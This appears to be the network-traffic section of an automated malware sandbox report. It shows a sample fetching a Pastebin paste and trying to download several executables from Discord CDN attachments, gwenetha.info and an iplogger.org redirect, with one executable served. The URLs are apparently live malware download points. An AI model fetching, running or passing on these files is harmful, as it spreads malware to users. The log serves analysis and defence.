Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 02:06:32 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d8a13b8b2e5d84d5b71871571d0908c8f1617674791; expires=Thu, 06-May-21 02:06:31 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED cf-request-id: 0946878148000012d200234000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63b7751538f612d2-ICN

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 02:06:50 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d560bd6ec63f5b21b5f7064172463803c1617674810; expires=Thu, 06-May-21 02:06:50 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b7758de919352c-ICN Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 02:06:50 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094687ccb40000352c7c3f9000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UwRZdNoyG67llKi66KK4JgmGouBXr3IcnEx7jGHsgl-D8WYlY_nS1HGxrkCvy1SQYS6g3xgapSgmJaPPTemfokUUw_7lA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=7L4VXht3CGMCnPMN6dn16iwg%2FHa8Pud7BM%2FQ0VIP9BYZ3KvKO71LyaVNQhgJYqsscPNhxDaFLvUJMrb9a2nNN6WBd93PF4uFtKpGZPRf9J1rpQQ%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 02:06:51 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=dfcfb53b40d2d414721fc78b259ea42921617674810; expires=Thu, 06-May-21 02:06:50 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b7758fde203532-ICN Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 02:06:51 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094687cde40000353214157000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uz5aOkPBCJYuvCEX2lp5t0pVFN0YczqjfWY1lyMTaQg2MD8WSiN5JAiasUU0ZPUPpVxjvhgDAUmTuCy5N5vOMQjgrE1Ww X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=VEL2CNXwpTdpe5CFXZx%2BQmXPPsS0sMHzxvWQudpvnkrd1AQpAGS1yp7eEDVjQqoTK%2Bpx8OeM5KBMRPV96s98oeOInKn5wVRDACPn8TucY6pQHEY%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Tue, 06 Apr 2021 02:06:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 19 Connection: keep-alive Set-Cookie: __cfduid=d839b55abc46ff90c979c16c51bb932d21617674811; expires=Thu, 06-May-21 02:06:51 GMT; path=/; domain=.gwenetha.info; HttpOnly; SameSite=Lax X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 094687cfa20000eb8d6f3a3000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=G%2FWz8Ofwpsi%2BP9BNd3vRMA4TEOEbDshHPDDfIbfGb95hK60EjXjtw1XJ%2BBF3I%2Fz1F2L1yibB2zJa1eVAeIYjbynHmVHqwNQ8x79oLRGU"}]} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63b775929cf5eb8d-LAX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 06 Apr 2021 02:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=47kanq62b2m84dnai7jlmvet15; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261373373; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 02:06:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d5bba020a67f82a9cb32184e66cfdc3fb1617674819; expires=Thu, 06-May-21 02:06:59 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094687efdf0000a201353bd000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Sz2xi7Gr7Yr78STW5RGfJFWqw567fKgB9JKpzVmDx1%2F2MuB%2BZUHWgraoAWzl2HkBc%2FJiETHuuG2VfHljfbkga9XZC9TnhuUPjPu47SubUwLG1zc%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63b775c63a95a201-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 02:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d0dca1491389e2eecc1edf03d21c0ca711617674823; expires=Thu, 06-May-21 02:07:03 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094687fd5a0000a2012685d000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ZaetPVab8pxsT3Uqub%2Bafke48ziMCyPjlkbL42oDRTolcTOHlM6awSzOleMRQa66awHL8Ap3D6xFjBtkjdvgObubFMisPiq9IIIZaoBAiL0GV9s%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63b775dbc96aa201-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 02:07:03 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d3b7d51074080afa6313ffecf215a2e971617674823; expires=Thu, 06-May-21 02:07:03 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b775e00867e9ec-ICN Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 02:07:03 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 09468800010000e9ec8397a000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UwwBw3YY3XhHmAQJgiX_jGLdZDqg2eOI2P_2E8NMphi911ejEHK-lkBSJKi1SWhpW4e1Z7lPvXgsdJeFh7PIh8w5eF5_A X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=tMrR6G%2F%2FtEOZmFD8jAjyDtRj2Xd1UqqimXyJpCObb%2BD08gPKRxurdV%2F%2BzONQp1FhnjkTMjhRJREkyXT42BUkOftryA6gECy53uYDhkHK%2Fbp5cZg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 02:07:04 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=d36399c7596515afb93f7c42c99bdaa921617674824; expires=Thu, 06-May-21 02:07:04 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b775e78916a201-ICN Accept-Ranges: bytes Age: 529833 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Wed, 06 Apr 2022 02:07:04 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 09468804b90000a20103ab2000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Fq9szzDvcE41W85laM5IFijUJCieh8otpc4TsqSKBBD0nsitj9o6MqBrPNdOJssg9%2FA4yAuqi1gDSMfs3xyNZNtTIg%2BlXohvihCWKbbhaqAW3Eg%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare